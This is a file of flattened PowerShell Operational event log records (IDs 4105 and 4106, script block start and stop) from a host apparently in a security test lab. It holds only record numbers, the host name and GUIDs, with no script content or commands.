410515102150x0676182Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676181Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676180Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676179Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676178Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676177Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676176Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676175Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676174Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676173Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676172Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676171Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676170Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676169Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676168Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676167Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676166Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676165Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676164Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676163Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676162Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676161Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676160Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676159Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676158Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676157Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676156Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676155Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676154Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676153Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676152Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676151Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676150Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676149Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676148Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676147Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676146Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676145Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676144Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676143Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676142Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676141Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676140Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676139Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676138Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676137Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676136Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676135Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676134Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676133Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676132Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676131Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676130Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676129Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676128Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676127Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676126Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676125Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676124Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676123Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676122Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676121Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676120Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676119Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676118Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676117Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676116Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676115Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676114Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676113Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676112Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676111Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676110Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676109Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676108Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676107Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676106Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676105Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676104Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676103Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676102Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676101Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676100Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676099Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676098Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676097Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676096Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676095Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676094Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676093Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676092Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676091Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676090Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676089Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676088Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676087Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676086Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676085Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676084Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676083Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676082Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676081Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676080Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676079Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676078Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676077Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676076Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676075Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676074Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676073Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676072Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676071Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676070Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676069Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676068Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676067Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676066Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676065Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676064Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676063Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676062Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676061Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676060Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676059Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676058Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676057Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676056Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676055Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676054Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676053Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676052Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676051Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676050Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676049Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676048Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676047Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676046Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676045Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676044Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676043Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676042Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676041Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676040Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676039Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676038Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676037Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676036Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676035Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676034Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676033Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676032Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676031Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676030Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676029Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676028Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676027Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676026Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676025Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676024Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676023Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676022Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676021Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676020Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 